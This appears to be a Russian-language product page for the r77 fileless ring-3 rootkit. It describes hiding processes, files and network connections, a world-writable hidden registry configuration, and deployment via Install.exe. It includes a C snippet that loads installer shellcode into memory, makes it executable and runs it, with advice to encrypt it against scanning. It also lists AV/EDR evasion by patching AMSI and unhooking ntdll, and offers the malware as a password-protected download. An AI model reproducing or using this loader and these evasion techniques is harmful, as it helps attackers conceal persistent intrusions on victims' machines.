
Безфайловый руткит уровня ring 3 с установщиком и механизмом персистентности, который скрывает процессы, файлы, сетевые соединения и т.д.
r77 — это руткит кольца 3, который скрывает всё:
Всё, что начинается с "$77", скрыто.

Динамическая система конфигурации позволяет скрывать процессы по PID и имени, элементы файловой системы по полному пути, TCP и UDP соединения определенных портов и т.д.

Конфигурация находится в HKEY_LOCAL_MACHINE\SOFTWARE\$77config и доступна для записи любому процессу без повышенных привилегий. DACL этого ключа настроен на предоставление полного доступа любому пользователю.
Кроме того, ключ $77config скрыт руткитом.
Для развертывания r77 требуется только один файл: Install.exe. Выполнение сохраняет r77 в системе и внедряет во все запущенные процессы.
Uninstall.exe полностью и корректно удаляет r77 из системы.
Install.shellcode является shellcode-эквивалентом установщика. Таким образом, установку можно интегрировать, не сохраняя Install.exe. Shellcode можно просто загрузить в память, привести к указателю на функцию и выполнить:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
Руткит находится в системной памяти и не записывает файлы на диск. Это достигается за несколько этапов.
На этом графике показан каждый этап от выполнения установщика до работы DLL руткита в каждом процессе. В документации есть глава с подробным описанием реализации каждого этапа.

Используются несколько методов обхода AV и EDR:
amsi.dll!AmsiScanBuffer, чтобы всегда возвращать AMSI_RESULT_CLEAN. Для обхода сигнатурного обнаружения обхода AMSI используется полиморфизм.ntdll.dll, эти хуки необходимо удалить, загрузив свежую копию ntdll.dll с диска и восстановив исходный раздел. В противном случае внедрение процесса будет обнаружено.Тестовая консоль — это полезный инструмент для внедрения r77 в отдельные процессы и тестирования системы конфигурации.

Пожалуйста, прочтите техническую документацию, чтобы получить всесторонний и полный обзор r77, его внутреннего устройства, а также способов развертывания и интеграции.
r77 Rootkit 1.8.2.zip
(ZIP Password: bytecode77)
Technical Documentation